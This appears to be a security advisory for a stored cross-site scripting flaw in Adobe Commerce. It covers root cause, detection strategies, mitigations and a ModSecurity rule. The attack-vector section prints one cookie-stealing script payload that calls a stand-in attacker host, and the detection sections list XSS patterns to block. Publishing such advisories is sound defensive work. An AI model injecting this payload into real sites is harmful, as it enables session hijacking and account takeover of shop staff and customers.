CVE-2026-92911: Adobe Commerce Stored XSS Vulnerability

CVE-2026-92911 Overview

Adobe Commerce contains a stored Cross-Site Scripting (XSS) vulnerability tracked as CVE-2026-92911. A low-privileged attacker can inject malicious JavaScript into vulnerable form fields. The payload executes in a victim's browser when they view the affected page. Successful exploitation can lead to session hijacking, account takeover, or elevated access within the Commerce environment. The vulnerability has a changed scope, meaning the injected script can affect resources beyond the originally compromised component. Adobe addressed the issue in Security Bulletin APSB26-153.

Critical Impact
Attackers with low privileges can execute arbitrary JavaScript in administrator or customer browsers, enabling session theft and account compromise across the Adobe Commerce storefront and admin panel.

Affected Products

Adobe Commerce (see Adobe Security Bulletin APSB26-153 for affected versions)
Adobe Commerce on-premises deployments
Adobe Commerce cloud-hosted deployments

Discovery Timeline

2026-10-13 - CVE-2026-92911 published to NVD
2026-10-14 - Last updated in NVD database

Technical Details for CVE-2026-92911

Vulnerability Analysis

The vulnerability is a stored Cross-Site Scripting flaw classified under [CWE-79]. Adobe Commerce fails to properly neutralize user-supplied input before storing it in form fields that are later rendered in web pages. An authenticated attacker with low privileges submits crafted input containing JavaScript into a vulnerable form. The server persists the payload without adequate sanitization or output encoding.

When another user, such as an administrator or customer, loads the page containing the stored content, the browser interprets the payload as executable script. Because the scope is changed, the injected code can reach data or functions beyond the originally vulnerable component. The attack requires user interaction, meaning a victim must browse to the page hosting the malicious content.

Root Cause

The root cause is insufficient input validation and output encoding in Adobe Commerce form field handling. The application accepts HTML or JavaScript characters without stripping, escaping, or applying a Content Security Policy that would block inline script execution.

Attack Vector

The attack is executed over the network. An attacker authenticates to Adobe Commerce with a low-privilege account, such as a merchant, customer, or limited admin role. The attacker submits a payload like <script>fetch('//attacker.tld/?c='+document.cookie)</script> into a vulnerable field. When a privileged user views the affected page, the script runs with the victim's session context. See Adobe Security Bulletin APSB26-153 for vendor-confirmed technical details.

Detection Methods for CVE-2026-92911

Indicators of Compromise

Unexpected <script>, <svg>, <img onerror=>, or event-handler attributes stored in Adobe Commerce database tables backing form fields.
Outbound HTTP requests from administrator or customer browsers to unknown domains shortly after loading Commerce pages.
New or modified admin user accounts created without a corresponding authenticated admin session in logs.
Session cookies observed in use from unexpected geolocations or user agents.

Detection Strategies

Review web application firewall logs for POST requests containing HTML or JavaScript patterns targeting Commerce form endpoints.
Query the Commerce database for stored values containing <script, onerror=, onload=, or javascript: substrings.
Correlate admin panel access events with downstream API calls that modify permissions, users, or payment configuration.

Monitoring Recommendations

Enable verbose logging on Adobe Commerce admin and customer-facing endpoints that accept form input.
Monitor Content Security Policy violation reports if CSP is deployed in report-only or enforcing mode.
Alert on anomalous child processes or script execution originating from browsers of users who recently accessed Commerce admin pages.

How to Mitigate CVE-2026-92911

Immediate Actions Required

Apply the Adobe security update referenced in Adobe Security Bulletin APSB26-153 to all Adobe Commerce installations.
Audit all low-privileged accounts and remove unused or stale users that could be leveraged for payload injection.
Rotate admin session cookies and force reauthentication after patching.
Review stored form field content for existing malicious payloads and sanitize or remove them.

Patch Information

Adobe released a fix as part of Security Bulletin APSB26-153. Administrators should consult the bulletin for the exact patched versions and apply the update to on-premises and cloud deployments. Refer to Adobe Security Bulletin APSB26-153 for upgrade paths.

Workarounds

Deploy a web application firewall rule to block requests containing <script> tags or common XSS payload patterns targeting Commerce form endpoints.
Enforce a strict Content Security Policy that disallows inline scripts and restricts script sources to trusted origins.
Restrict admin panel access using IP allowlisting or VPN gating to reduce exposure of privileged users to stored payloads.
Review and minimize permissions assigned to low-privilege accounts that can submit form data.

bash

# Example WAF rule (ModSecurity) blocking inline script payloads to Commerce admin endpoints
SecRule REQUEST_URI "@beginsWith /admin" \
    "chain,phase:2,deny,status:403,id:1092911,msg:'Potential stored XSS attempt CVE-2026-92911'"
    SecRule ARGS "@rx (?i)(<script|onerror=|onload=|javascript:)" "t:none,t:urlDecodeUni"